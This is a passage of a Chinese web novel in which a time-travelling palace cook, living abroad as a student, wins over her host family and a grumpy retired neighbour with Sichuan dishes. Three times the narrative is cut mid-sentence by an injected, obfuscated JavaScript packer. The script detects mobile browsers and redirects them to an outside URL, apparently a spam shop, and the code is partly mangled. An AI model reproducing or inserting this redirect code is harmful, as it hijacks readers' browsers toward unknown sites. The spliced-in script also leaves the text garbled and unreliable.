莉莉忍不住欢呼一声，惹得戴维和丽萨同时看向了她，脸上都写着惊讶。 她顿时低下头，“对不起，我太大声了，吓到你们了。” “不，莉莉，你没有吓到我们，我和爸爸是被你开心的情绪感染到了。” 这是自从妈妈去世后，莉莉上大学以来，第一次这么开心。 丽萨忍不住抱住她，目光却落在唐宁身上，眼神中透出一丝感激。 唐宁对上她的视线，颔首一笑。 “其次，我希望餐厅能够严格按照我的要求进行整改，尤其是这些桌椅板凳，必须换成新的，干净的，餐厅内也不允许再出现一只不属于这里的生物。” “没问题！”戴维答应得无比爽快。 “那么，合作愉快。” 一天之内就找到了工作，唐宁心里也着实轻松不少。 跟戴维敲定完餐厅整改细节后，太阳也快要落山了。 丽萨主动要求开车送唐宁回家，唐宁没有拒绝。 待三个女孩走后，戴维拿着一堆图纸走进厨房，准备按照唐宁的要求，增加几个灶头，方便日后的工作。 走到冰箱旁，忽然看见有一根生锈的钢管直挺挺地立在侧面。 “这是什么？我的厨房里怎么会有这种东西？” 对于戴维的疑惑，唐宁丝毫不知。 车缓缓停在贝内特家门前，她跟莉莉道别后，正准备下车，就听到丽萨颇为复杂的语气，从车厢里幽幽响起。 “宁……我想问你一个问题？” “什么？” 丽萨打开车窗，用下巴点了点在自家铁门后狗狗祟祟伸着脑袋朝这边张望的苏珊。 “你跟苏珊·贝内特那个碧池是什么关系？” 唐宁：？ 8. 水煮牛肉 “你跟丽萨·凯耶那个疯子是什么关系？” 一进门，唐宁就被苏珊拦在门口，问了跟丽萨几乎一样的问题。 显而易见，两人认识，且还有不小的过节。 在车上时，丽萨得知唐宁是苏珊家的寄宿留学生后，表情变得十分尴尬，不过对唐宁本人的态度倒是没什么太大变化。 唐宁并不是一个八卦的人，反正与自己无关，便没有详细追问。 不管她们之间有什么过往，她都不想掺和进去。 “我和她妹妹莉莉是同学，今天恰好遇到点麻烦，她帮我解决了，顺便送我回来。” “什么？”苏珊皱起细长的眉毛，“宁，你有麻烦应该第一时间打电话给我，怎么能找那个疯子帮忙？” 唐宁微微仰起头，一言不发的看着她。 苏珊神情一僵，意识到自己说这话有多突兀。毕竟在今天之前，她恨不得跟唐宁保持八百尺的距离。 都怪昨晚的鸡肉馅饼和芝麻糖饼，早上那碗葱油拌面，还有中午的蘑菇酱，抹在面包上，简直好吃得像在天堂！ 哪怕现在回想起来，嘴巴里的口水都忍不住疯狂分泌。 “我的意思是，你寄宿在我家，找一个认识的人总比一个陌生人安全，不是吗？” 唐宁点头：“你说的有道理，但我没有你的电话。” 苏珊：…… “我，一会儿发给你。” 虽说唐宁一直不明白之前苏珊对她态度为什么那么不好，但说到底，对方也从来都没有刻意为难过自己，甚至在得知她晕倒进医院，立马赶来照顾她，帮助她配合医生进行治疗，最后开车把她带回了家。 为此，作为啦啦队长，她还错过了一场重要的演出。 此刻见苏珊跟贝内特太太露出如出一辙的别扭神情，唐宁立马意识到她示好的原因，觉得对方还是挺可爱的。 同住一个屋檐下，唐宁自然希望能够跟房东一家和谐相处。 于是，她主动递了个台阶。 “好，谢谢你的好意，不过现在我需要你帮我一下。” “什么？” “可以帮我一起把这个拿进去吗？” 唐宁提了下手里的蓝色保鲜箱，“有点重，我快拿不动了。” “当然。”苏珊立马上前，抱住了保鲜箱的另一端，唐宁微微松了点力，苏珊手臂登时一沉，“哇喔，这里面是什么？” 唐宁不动声色地用了些力，以免苏珊抬不动，“一些中餐所需要的食材。” 餐厅需要整改，暂时不能向顾客营业。 但戴维准备了不少新鲜食材，有些还是大华超市买不到的，如果不用掉未免可惜，于是留下一小部分晚餐，其余的都送给了唐宁。 苏珊疑惑道：“买这些做什么？奶奶连中式面条都学不会，更何况是其他的。” 唐宁朝她眨了眨眼，“贝内特太太没告诉你吗？” 苏珊：？ 唐宁：“今天的晚餐由我来做。” 短短一天内，就找到一份不错的工作，当然要大吃一顿，好好庆祝一番。 苏珊：！！！ 幸福来得如此突然？！ …… 中午只吃了一个饭团，糯米的饱腹感虽强，但作为一个正值青春的女孩，经过一下午天书的精神攻击，以及餐厅抡勺的体力消耗，唐宁早就饿得前胸贴后背了。 之所以没直接在餐厅吃，也是打着晚上回来自己做饭，改善伙食的主意。 毕竟距离餐厅重新开张还有一段时间，这期间她还要去学校找DSO申请EAD工卡，以免被人发现打黑工。 轻则驱逐处境，重则巨额罚款。 一想到这点，她就脑袋疼。 还好网上可以查到唐延昌公司破产的信息，作为新鲜出炉的贫困留学生，完全满足申请工卡的条件，而且苏珊还主动表示会帮她。 在此之前，她要充分享受好不容易争取来的厨房使用权。 唐宁打开保温箱，将里面分装好的牛肉，大虾，青菜、茄子，以及国内特有的花椒、二荆条、豆瓣酱等调味品都拿了出来。 苏珊和贝内特太太的脑袋顿时凑了过来。 左看看，右闻闻。 对这些没见过的东西充满了好奇。 “宁，这些花花绿绿的东西闻起来不怎么样，真的可以用来烹制美食吗？” 贝内特太太耸了耸鼻子，放下手里的花椒，用手绢擦了擦手，似乎有些嫌弃。 一旁的苏珊也对着那罐豆瓣酱，露出了恐惧的眼神，“这看起来简直就像是一堆红色的呕吐物。” 唐宁：“哪有那么夸张？” 对于食材的特性，她没多作解释，只对贝内特太太笑了笑，“我已经想好要做什么了，等一会儿你们尝尝就知道了。” 两人对眼前的食材充满了怀疑，但对唐宁却充满信心。 反正也弄不懂这些复杂的东西，她们也不再多问，只要最后能吃到那些像是被施了魔法的美食就好啦。 苏珊抹了一下不争气的嘴角，去洗了洗手，准备帮唐宁清洗食材。 贝内特太太惊讶一瞬，面无表情地“哇喔”了一声。 苏珊回头看过来，“怎么了，奶奶？” 贝内特太太偏头看了一眼窗外，一本正经道：“没什么，我只是以为今晚的月亮变成了蓝色。” 孙女在这个家住了二十年，从来没帮她打过杂！ 一次都没有！ 苏珊脸色一红，装作没听懂，把茄子拿去水池里，背对着贝内特太太，不太熟练地清洗起来。 唐宁跟贝内特太太对视，都从对方眼里看到了笑意。 恰逢此时，门铃响起。 贝内特太太让唐宁继续忙，她擦干手走出厨房，打开大门一看，居然是威尔逊太太和她的丈夫。 “你们怎么来了？” 对于想挖她墙角的闺蜜，贝内特太太的表情可称不上是和颜悦色。 威尔逊太太却不在意，把怀里的意大利火腿塞给贝内特太太，理所当然道：“我亲爱的莫妮卡，你不知道中国有句古话叫‘来而不往非礼也’吗，宁送了我珍贵的鸡肉馅饼和芝麻糖饼，我当然是来回礼的。” 威尔逊太太打着什么主意，贝内特太太一眼就能看得出来。 本想把人赶出去，但威尔逊先生也在，她总不能给这位刚退休脾气无处发泄的老教授脸色看。 何况礼物是给唐宁的，她不能擅自帮她做决定，于是让两人进了屋子。 威尔逊太太笑得一脸得逞，威尔逊先生却觉得妻子的脑袋里一定是少了颗螺丝钉，否则怎么会做出用一根上等的伊比利亚黑标火腿，来答谢几块糖饼的事？ 威尔逊先生没吃到糖饼，自然会这么想。 威尔逊太太却在进门后看见唐宁在厨房做菜时，觉得自己这根火腿送得太值当了！ “嗨，宁，你在做晚饭吗？” “是的，威尔逊太太。”从贝内特太太口中得知威尔逊太太是来还礼的，唐宁打量了几眼那根火腿，她不认识上面的英文字母，但来这里一个月，也听说过一些具有独特风味的西方美食，不免觉得好奇，“您还没吃晚饭的话，不如留下来一起吃吧。” “好啊，谢谢你的邀请。”威尔逊太太看向贝内特太太，“莫妮卡，你介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126894|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意吗？” 贝内特太太看得出来唐宁对火腿的好奇，便冷哼一声，去给酒柜里挑了一瓶珍藏的红酒出来。 两家人几十年前就是邻居，根本不会为了这点小事真的翻脸，威尔逊先生进来后更不把自己当外人，直接把火腿放在铁架上，去厨房餐柜里找火腿的切片刀。 中途看见唐宁将一块上好的牛里脊切成了薄片，不禁摇了摇头，发出一声不轻不重的叹息。 唐宁：？ 她奇怪地朝威尔逊先生看去，他却没有解释的意思，拿着切片刀走出厨房。 但唐宁却听到对方在碎碎念。 幸好翻译器放在厨房门口的位置，恰好识别到了，通过唐宁的耳机里传来冷冰冰的谴责声： “多好的菲力，就这么被糟蹋了。” 唐宁：…… 哪来的刻薄老头？ 威尔逊先生是哈斯顿大学商学院教授，教风十分严苛，因脾气太差，没少被学生投诉。 唐宁之所以不认识他，是因为他现在已经退休了，然而退休后的老头，因为生活节奏发生了巨大的改变，脾气也越来越差，儿子和女儿都忍受不了他搬了出去，只有威尔逊太太始终对他不离不弃。 原本以为过段时间，威尔逊先生就能适应退休后的生活，却没想到，他的情绪越来越低落，每天沉溺于酒精，到最后连饭都不怎么吃了。 威尔逊太太实在感到担心。 直到吃到唐宁做的食物，她才厚着脸皮打包美味的馅饼回家，试图重新唤醒他对食物的渴望。 回到家却发现丈夫早已喝得烂醉如泥，吃不下一丁点食物。 无奈之下，她只能独自享受美味的馅饼，并在心里打定主意要带丈夫来贝内特家蹭一顿饭。 贝内特太太显然也了解凯瑟琳家的情况，为了不让唐宁感到冒犯或是不舒服，便小声将威尔逊先生的事简单说了一遍。 唐宁倒是没放在心上。 只是有些不理解。 在她看来，退休意味着有钱有闲，只要有一副健康的身体，可以说想干什么就干什么。 要不是出宫时，运气不好遇到土匪，她早就过上了这般神仙日子。 怎么还会有人为此不开心？！ 一想到这，唐宁就心口直痛，转而把悲愤都浇灌在了滚烫的热油里。 贝内特太太要招待威尔逊夫妇，她走出厨房，把酒倒进醒酒器里，对威尔逊先生说道：“这酒要等宁做好晚饭才能喝，在此之前，你不可以碰这个杯子。” 威尔逊先生恍若未闻，用刀将一片火腿塞进嘴里，拿出自带的威士忌，给自己倒了一杯，仰头喝下。 “听着，莫妮卡，我来这里是看在凯瑟琳的面子，不要对我指手画脚。” “至于晚餐，我有火腿就够了，那些不健康的食物，我一口也不会吃的，就由你们自己慢慢享受吧。” “放心，等你们去见上帝时，我一定会去参加你们的葬礼。” “多纳托！”威尔逊太太十分生气，“你怎么能这么对莫妮卡说话？” 威尔逊先生充耳不闻，继续喝起了酒。 两人拿他没有办法，威尔逊太太的愤怒瞬时化为泪水，贝内特太太只能在一旁安慰她。 餐厅里的气氛变得十分压抑，仿佛让人喘不上气。 “滋啦——” 随着熟悉的声音传来，滚油如赤色瀑布倾泻而下，瞬间激活花椒与干辣椒的香气，餐厅里顿时弥漫起一阵极强烈霸道的辛辣香气。 三位老人同时朝厨房看了过去，唐宁颊边露出两个漂亮的酒窝。 “水煮牛肉，有人想要先品尝一下吗？” 9. 油焖大虾 热气腾腾的浓红汤底上，切碎的刀口辣椒经热油轰炸，泛起鲜红油润的光泽，像极了被打碎的红玛瑙薄片，深褐色的花椒，青翠的香葱，烫得刚刚好而呈现出粉色的牛肉片，各自争奇斗艳地吸引着众人的眼球。 苏珊离得最近，在炒辣椒底料的时候，她就忍不住咽了好几下口水。 此刻被激荡出的糊辣椒味呛得捂着鼻子打了好几个喷嚏，却还是舍不得后退半步，一个劲儿地凑近要闻。 贝内特太太伸手将苏珊的脑袋推开，克制地将黏在水煮牛肉上的视线移开，“我先把它端到餐桌上，你是不是还有几道菜？快去做吧，我们等你一起吃。” 见气氛缓和下来，唐宁点点头，转身去拿处理好的虾。 贝内特太太端着牛肉，特意从威尔逊先生身后绕过，存在感极强的香辣气息顿时让威尔逊先生迟钝的舌头一弹。 他紧抿着唇，状似毫不在意地瞥了一眼那厚厚红色油膜，继而满脸不屑道：“食物最珍贵的就是它的本味，亚裔做菜总是喜欢加一大堆香料，不仅破坏它的美味，还非常不健康，简直就是在喝油吃香料，还加牛肉做什么，浪费食材。” 这话传到唐宁耳朵里，她装作没听见。 连续一个月都是面包沙拉，她嘴巴淡得都快去世了，好不容易有机会能好好抚慰她贫瘠的胃，当然要吃刺激重口的东西才满足啊！ 另外几道也都是快菜，有苏珊帮忙打下手，唐宁两个灶头同时开弓，很快就做好了。 “油焖大虾好了。” 青红色的大虾特意被剪去虾头虾枪，虾油融入番茄调制的汤汁，色泽油润红亮，闻起来酸甜鲜香，十分可口。 威尔逊先生：“连虾壳都不去掉，不敢想象你们吃这种东西的样子该有多粗鲁。” “地三鲜好了。” 切成滚刀块的茄子、青椒、土豆被炸得表面微焦，最大程度地激发出食材本身的鲜甜，最后倒入爆香蒜末的锅里，淋入生抽、老抽、盐、糖、淀粉调成的碗汁，快速翻炒，裹匀出锅，蒜香扑鼻。 威尔逊先生：“只有穷人才会吃油炸食品，感谢上帝，美利坚的肥胖率都得归功于这些人。” “香菇青菜好了。” 泡发后的干香蕈比鲜香蕈味道要更加浓郁，切片后经过姜蒜煸炒去除杂味，加入酱油蚝油烧出鲜味，然后勾芡，汤汁淋在烫过后如玉般的小青菜上，香菇缀在中心，整盘菜看起来鲜嫩翠绿，极为诱人。 威尔逊先生：“……” 这道菜他实在挑不出毛病，张了张口，喝了口酒，装作没看见。 无人理会他。 唐宁倒也不是为了堵住威尔逊先生的嘴才做这道青菜，而是考虑到贝内特太太和威尔逊太太的年纪以及承受能力，选择了两道比较好接受的口味，以及一道清爽的素菜。 “开饭吧。” 为了让唐宁可以在家吃到米饭，贝内特太太还特意网购了一台电饭煲，得益于尊贵的会员身份，今天下午就到货了。 对于新厨具的到来，唐宁也充满新奇和欣喜。 尽管脑海中有原主的记忆，但对于现代的厨具她都还没有真切地使用过。 几千年后蒸米饭，再也不用生火烧柴，坐在灶台边小心翼翼地看火，避免米饭烧出黑焦的锅巴，只需要把清洗好的大米放进电饭锅，按下小小的按钮，几十分钟后，就能得到一锅晶莹圆润粒粒分明的米饭。 这也太方便了！ 唐宁拿起筷子，夹起一口香甜弹牙的米饭塞进嘴里。 大米通过咀嚼分解出甜丝丝的麦芽糖味，碳水带来的满足感顿时填满了她的身心。 其他人也都迫不及待地开始品尝桌子上的菜。 美利坚饮食习惯分餐制，但今晚是唐宁掌厨，大家都“入乡随俗”，围坐在餐桌四周，每个人面前一碗米饭，不会使用筷子，就用勺子和叉子。 除了暂时放弃嗅觉和视觉坐在一旁的威尔逊先生，威尔逊太太、贝内特太太和苏珊都不约而同地先伸向了觊觎已久的水煮牛肉。 虽然它是第一个出锅的，但因为泼了一层热油，锁住了热量，放几分钟并不会凉掉。 夹起一块爽滑的牛肉放进嘴里，一股强烈的辛辣瞬间冲击味觉，如同心脏骤停的人遭到强烈的电击一般，整个人都被麻麻痛痛地唤醒了。 “哇喔，这个牛肉真的好辣，但又非常地好吃，究竟是怎么做到的？！” 尽管这不是贝内特太太第一次吃唐宁做的饭，但依旧震惊于她的厨艺。 辣椒的味道存在感极强，却丝毫不会喧宾夺主，反而衬得丰盈多汁的牛肉愈发麻辣鲜香，配上底下的豆芽，口感又上升了个层次。 太好吃了！ 就连一向嗜甜的威尔逊太太都停不下来，吃得大汗淋漓，她一边擦汗，一边还不停地用叉子捞菜。 这不是魔法是什么！？ 苏珊好几次好不容易叉起一块肉，都被两个吃得面红耳赤的老人抢走了，她忍不住道：“凯瑟琳，莫妮卡，这道菜太辣了，你们两个老年人克制一点，去吃别的菜好吗！” “得了吧苏珊，你根本就不是为我们的身体着想，你只是想独吞这盆美味的牛肉！”威尔逊太太反驳道。 苏珊无话可说，只能加快叉肉的速度。 她就不信她一个二十几岁的少女，还抢不过两个加起来一百多岁的老太太！ 唐宁不自觉轻笑一声，想起以前在宫里的日子。 宫里的贵人们注重仪态，也注重身体健康，从不吃这种辛辣刺激的食物，唯独有一年皇帝纳了一名来自蜀地的妃子。她得宠的那段日子，皇帝特意叮嘱膳房做些蜀地的食物，来讨妃子欢心。 那段时间膳房就像是过年。 每天伺候贵人们晚膳后，嗜辣的御厨们都会围坐在一起吃饭喝酒，争抢一盘炒得红通通的辣子鸡，气氛好不热闹。 唐宁也是从那个时候才喜欢上吃辣的。 眼看水煮牛肉的水平线肉眼可见地降低，她才慢悠悠地夹起一块牛肉吃了起来。 嗯，果然很爽！ 四个女人吃得热火朝天，威尔逊先生不知偷偷摸摸咽了多少次口水。 嘴里的伊比利亚火腿突然不香了。 味同嚼蜡。 见一头金发的精致妻子被辣的斯哈斯哈的，嘴上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126895|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口红早就不见了，被鲜艳的红油替代，甚至微微肿起，他嫌弃地撇开了眼。 凯瑟琳也太不优雅了。 如果让他来品尝，他绝不会露出那副样子！ 再好吃的东西，也不能一直吃同一样，身体被唤醒之后，大家的目光也逐渐被其他几道菜吸引了过去。 听宁介绍说，油焖大虾是酸甜口的，威尔逊太太便毫不犹豫地夹起了大虾。 反正她现在已经跟优雅不沾边了，吃没剥壳的虾又怎么了？ 只要好吃，一切都是值得的！ 但到底缺乏经验，见三个外国女人一副要把壳都吞进去的样子，唐宁当即示范起正确的吃虾方式。 “尽管虾壳的确是可以吃的，但对于两位太太来说，不太好消化，你们尽量还是别把壳吃进去的好。” 两人虽然对大虾欲罢不能，但还是很听唐宁的话。 “既然是这样，那我们把虾壳吐出来吧。” “可是这样总觉得有点浪费。” 闺蜜俩对视一眼，同时看向没有消化方便顾虑，一口一只大虾，正嚼嚼嚼得起劲的苏珊。 “要不一会儿给苏珊吃掉吧？看她好像很饥渴的样子。” “好主意。” 唐宁：…… 倒也不必。 “咳咳咳咳。” 一阵听起来十分不刻意的咳嗽声响起，除了威尔逊太太，无人在意。 “哈尼，怎么了？” “没什么，这片火腿有点咸了。” “好吧，那你多喝几口红酒，或许会好一些。” 威尔逊太太说完继续回过头来专注地吃虾，似乎觉得叉子不太方便，改用手抓，学着唐宁的样子剥掉虾头和虾壳，塞进嘴里。 带着酸甜酱汁的鲜甜大虾填满整个口腔，让人感觉像是去了一趟夏威夷，度过了一个美妙的假期。 吃完，威尔逊太太不忘将沾满酱汁的手嗦干净。 噢，实在是太回味无穷了。 威尔逊先生：…… 相爱多年的妻子竟然没听懂他的意思。 突然之间，威尔逊先生觉得这个世界变了，变得实在是太疯狂了！ 整间屋子都飘满了饭菜的香气，他避无可避，可事关面子，他先前说出了那样的话，现在也无法改口说要品尝那个留学生做的食物。 他感觉自己快要被馋疯了。 趁着威尔逊太太回味大虾的间隙，贝内特太太的视线转向了地三鲜。 牛肉和大虾应该是今晚的主菜。 这道地三鲜的食材都是素菜，再好吃也不会超过牛肉和大虾，更何况是炸的。 尤其是土豆，跟快餐店里的薯条有什么区别？ 大概也就是形状不同了。 她平时并不喜欢无论看起来还是吃起来都十分油腻的炸物，但眼前炸得金黄焦脆的茄子，土豆和青椒，似乎在努力地向她招手。 不管怎么样，宁做的肯定不会难吃，就尝一口好了。 贝内特太太这么想着，叉起一块酥脆的茄子，放进嘴里，发出一声震耳欲聋的惊叹。 “Oh，MyGod！” 10. 地三鲜 茄子的紫衣炸过以后，变成焦褐色，被叉子一戳，露出里面莹润的茄肉，裹着酱香的一起送进嘴里，入口的刹那就化了，留下浑厚的咸鲜在舌根里打转。 “原来茄子还能这样吃！” 从前贝内特太太吃茄子，要么是切片跟芝士碎一起放进烤箱，要么就是蒸熟挤压成泥，跟番茄罗勒洋葱大蒜一起炒化，用来蘸面包吃。 两种做法的茄子都是软烂的口，而这外酥里糯的口感，实在是太令她人感到新奇了！ 不仅如此，炸过的茄子一点都不油腻，咬开脆壳后茄肉十分鲜甜。 “难道不应该像海绵一样，把所有油都吸进去吗？” 这也是美利坚极少做油炸茄子的原因之一。 唐宁笑着解释道：“茄子的确吸油，但只要提前用盐杀过水，再裹上一层薄薄的淀粉，炸的时候就不会那么吸油了。” “杀水？”威尔逊太太惊恐地瞪大双眼，“为什么要把水杀掉？” 唐宁：…… 该死的翻译器，也太不智能了。 迟早抛弃它。 “我的意思是，用盐把茄子里的水分弄出来。” “原来如此。” 威尔逊太太拍了拍小心脏。 一转头，见贝内特太太叉菜的手仿佛挥出残影。 “莫妮卡，你慢点，这里没有人跟你抢。” 对此，贝内特太太充耳不闻，她其实一点也不在意水为什么会被杀掉，满心满眼都只有眼前的地三鲜，一口接着一口，仿佛永远都停不下来。 本以为茄子已经足够惊艳，却没想到，土豆并不是想象中快餐薯条的味道。 过油的土豆棱角泛着金黄，裹了酱也没塌软，咬下去外层酥脆如蝉翼，里面却是粉粉糯糯的，在齿间散成沙沙的颗粒，散发出土豆特有的厚重滋味。 最妙的是青椒，翡翠色的褶皱微微焦卷，一口下去，咬破外衣，迸发出清冽的椒香，一点也不辣，却带着恰如其分的淡淡清甜。 每一样食材明明都是在浓油赤酱里滚过，却各有各的滋味。 见状，威尔逊太太恋恋不舍地暂时告别心爱的大虾，朝着地三鲜进发。 果不其然，第一口茄子就将她征服了。 什么辣辣的牛肉甜甜的大虾，瞬间被她忘在了九霄云外。 苏珊全程都没说话，只一味地将地三鲜碾碎，然后浇上一勺酱色汤汁，跟米饭均匀地拌在一起，再用勺子舀一大勺塞进嘴里。 这一口下去，好吃得让她想去见上帝！ 唐宁余光瞥见这一幕，心里大为震惊，不由得想起小某书里的一句话： 此人吃商了得！ 地三鲜很快也见底，一桌子人吃得眼神也逐渐开始涣散。 显然是晕碳了。 缓了好一会儿，她们已经感觉到肚子很撑，本想停下来，但瞥见那翠绿的下青菜，莹润的小香菇，终究是于心不忍。 吃太多鱼肉和油炸食物了，吃点清口的才有益于肠胃健康。 反正青菜也不占肚子。 抱着这样的想法，半透明的小青菜被叉子贯穿，微微溢出清甜的汁水，配着一片香菇一起入口，青菜的鲜脆，香菇的嫩滑，将鲜甜最大程度激发出来，非常地爽口。 作为结束曲，简直美妙极了。 桌子上的菜被扫得一干二净。 苏珊摸着肚子，情不自禁道：“太好吃了，我的肚子都有宝宝了。” 贝内特太太一个激灵，威尔逊太太同时看向她。 苏珊：？ “怎么这么看着我……不，你们想哪儿去了？我指的是牛肉大虾地三鲜和香菇青菜！” 她目光隔着桌子扫向下方，“你们不是也有吗？” 两位老人同时低头。 “……” 天呐，这还是她们的肚子吗？ 距离上次肚子这么大，还是四十年前怀宝宝的时候！ 威尔逊太太忍不住想跟丈夫分享，却发现威尔逊先生不知何时，默默从餐桌一旁转移到了客厅，透过门框，她看到沙发上背对着餐厅的丈夫好似有些凄凉的背影。 怎么有种多纳托瞬间老了十岁的感觉？ 唐宁终于解馋了，但吃得实在是太撑，于是建议大家去院子里散散步溜溜食，三人都没有意见。 不好好消化一下，晚上怕是睡不着觉了。 大约半个小时后，威尔逊太太跟威尔逊先生一起回家，贝内特祖孙俩承包了洗碗收拾厨房的工作。 看见干净明亮的碗碟，贝内特太太不免愣了一下。 “天呐，瞧瞧这些盘子，我们吃得多么干净？甚至有种它们还没被使用过的错觉。” 苏珊捏了捏多余出来的肉，一脸幽怨道：“奶奶都怪你，把厨房给了宁，宁的厨艺实在太好了，一餐就让我胖了五斤，看来我要重新规划我的健身任务了，否则就要失去啦啦队长的位置了。” 唐宁的厨艺没少被人夸过，但听着耳机里的机械音，莫名有些不好意思起来。 她笑了笑，故作镇定地收拾桌子。 “不不不。”贝内特太太拦住她，“你的身体刚恢复健康，还不能太劳累，清理的事情餐桌的事情交给我们，你坐下休息吧。” 唐宁也没客气，坐在岛台旁跟她们聊天。 就当是练英语。 尽管说得磕磕绊绊，但好在也算是有语言环境。 苏珊还帮她纠正了几个错误发音。 “谢谢你，苏珊。”唐宁发自内心地笑了下，“Youarecute。” 苏珊洗碗的手，当即一抖。 她抬头看向一脸真诚的唐宁，张了张唇，一副欲言又止的样子。 唐宁疑惑道：“怎么了，我又发错音了吗？” “不不不，不是发音的问题。”苏珊神色有些不自然，“我明白你的意思，但在我们国家，夸人漂亮可爱可以用lovely、adorable或是pretty，最好不要用cute。” “为什么？” 唐宁不解，这个单词只有四个字母，是单词本里最好记的夸人词语了。 苏珊：“……因为在成年异性之间，cute这个词十分地轻挑暧昧，会让人以为你对ta有好感，严重的话甚至会被认为是性骚扰。” 唐宁还是不明白：“可我们不是同性吗？” 苏珊脸色愈发别扭，似是有什么难言之隐，不好对唐宁解释，最后只说“反正我建议你，最好不要随便使用这个词”，然后就转过身去擦灶台，不想再解释的样子。 唐宁也没继续追问。 收拾完厨房，贝内特太太没有休息，她走到酒柜前，重新挑选出一支里奥哈的红葡萄酒，走到唐宁身旁，接着把岛台上盖在火腿架上的布掀开。 “多纳托那个混蛋，拿走了我一整瓶红酒。宁，现在只能委屈你用这瓶来搭配火腿了。” 毕竟是卡洛琳送给唐宁的回礼。 虽然被多纳托那个没礼貌的混蛋捷足先登了，但不怎么样，今晚至少也要让唐宁尝试一下才行。 唐宁的确对火腿感到好奇。 刚好胃也消化得差不多了，尝几片火腿也不至于撑到。 红酒既能为火腿增加风味，还有安眠的作用。 唐宁感谢贝内特太太的贴心，邀请她和苏珊一起品尝。 两人没有推辞，苏珊拿来三只红酒杯，醒酒倒酒，贝内特太太负责片火腿，唐宁坐在一旁端详 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126896|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上这只据说十分难得的猪腿。 以前在宫里的时候，膳房里也收到过各地官员进贡的火肉。 滇南的云腿，蜀地的川腿，苏淮的北腿，其中最有名的则是东阳的金华火腿。 据说是由精心饲养的两头乌后腿，经过上盐、整形、翻腿、洗晒、风干等数十道工序精制，数月乃成，呈玫瑰般的暗红色，香味浓烈，咸中带甜，香而不腻。 只是不知，这外邦的火腿有什么不同？ 贝内特太太将长刀擦净，刀锋划过大理石般的火腿纹理，油脂在室温下缓缓融化，泛起油润的光泽，空气中当即飘散出一股淡淡的坚果香气。 第一片自然是给唐宁。 唐宁细细品尝之下才发现，跟以往吃过的火腿，果然有些不同。 片得纤薄的火腿，肌肉纤维早已充分分解，咀嚼时几乎无需用力，伴随着融化的脂肪，带来柔润细腻的口感，丝毫不觉得干柴。 适口的咸度，既不会破坏腿肉中榛果的香气，还会让余味带有淡淡的回甘。 配上一口红酒，火腿的咸鲜与红酒的甜涩在口中交织，真是别有一番风味的体验。 “唔，好吃。” 唐宁不自觉地眯了下眼睛。 贝内特太太见她喜欢，眼里也浮现出一丝笑意，片出一小碟火腿，三个人一起靠着岛台吃了起来。 有那么一瞬间，唐宁有点理解威尔逊先生了。 用这个来配酒，还真挺享受的。 倏然间，一个想法从脑海里冒了出来，唐宁放下酒杯，又钻进了厨房。 贝内特太太和苏珊见她似乎又要做吃的，试图开口阻止她。 “宁，你要做什么？！” 今天她们吃的实在太多了，但唐宁做的东西又实在太好吃了，她们根本没办法克制自己。 再吃下去，一定会变成充气河豚。 看出她们的惊慌，唐宁微微一笑：“别担心，贝内特太太，我只是想提前为明天的下酒菜做一点准备。” 祖孙俩顿时松了口气，同时又期待地看向兴致昂扬的唐宁。 “是什么样的食物？” “好吃吗？” 唐宁从冰箱里拿出牛腿肉，朝着她们狡黠一笑：“明天你们就知道了。” 与此同时。 威尔逊夫妇已经回到了家。 威尔逊太太有些累了，准备回房睡觉，“多纳托，我先回房间了，看在上帝的份上，今晚少喝一点，好吗？” “好的好的，我知道了，你快去吧。”威尔逊先生难得没有给她冷脸，把贝内特太太珍藏的红酒放进酒柜，一屁股坐在沙发上，打开了电视机。 威尔逊太太没有多想，无奈的看他一眼，径自上楼去了。 “晚安，哈尼。” 直到脚步声彻底消失，威尔逊先生回头看向楼梯，确定妻子真的准备睡觉了，立马起身，蹑手蹑脚地走到酒柜前，拿出一分钟前放进去的红酒瓶，去了厨房。 取出一口锅，放在炉灶上，打开红酒瓶，将里面的东西全部倒了进去。 不一会儿，厨房飘出麻辣鲜香的味道。 没错。 红酒瓶里不是别的，正是贝内特家剩下的水煮牛肉汤。 威尔逊先生搓了搓大手，从冰箱里拿出一块法棍，切成片，再切成条，迫不及待地用面包蘸了一下锅里的汤汁，整块塞进嘴里。 鲜甜又刺激的辣味，瞬间唤醒了他麻木的舌头。 “噢，amazing！”他情不自禁发出一声喟叹。 因不放心丈夫没吃饭就酗酒，打算切点面包给他，去而复返的威尔逊太太恰好看到这令人震惊的一幕。 “多纳托！你在干什么？！” 11. 豆腐花 自从来到这个世界，唐宁生活作息产生了巨大变化。 以往亥时已进入梦乡的人，此刻都子时了，还沉迷在手机里争奇斗艳的各类APP怀抱中。 尤其是小某书。 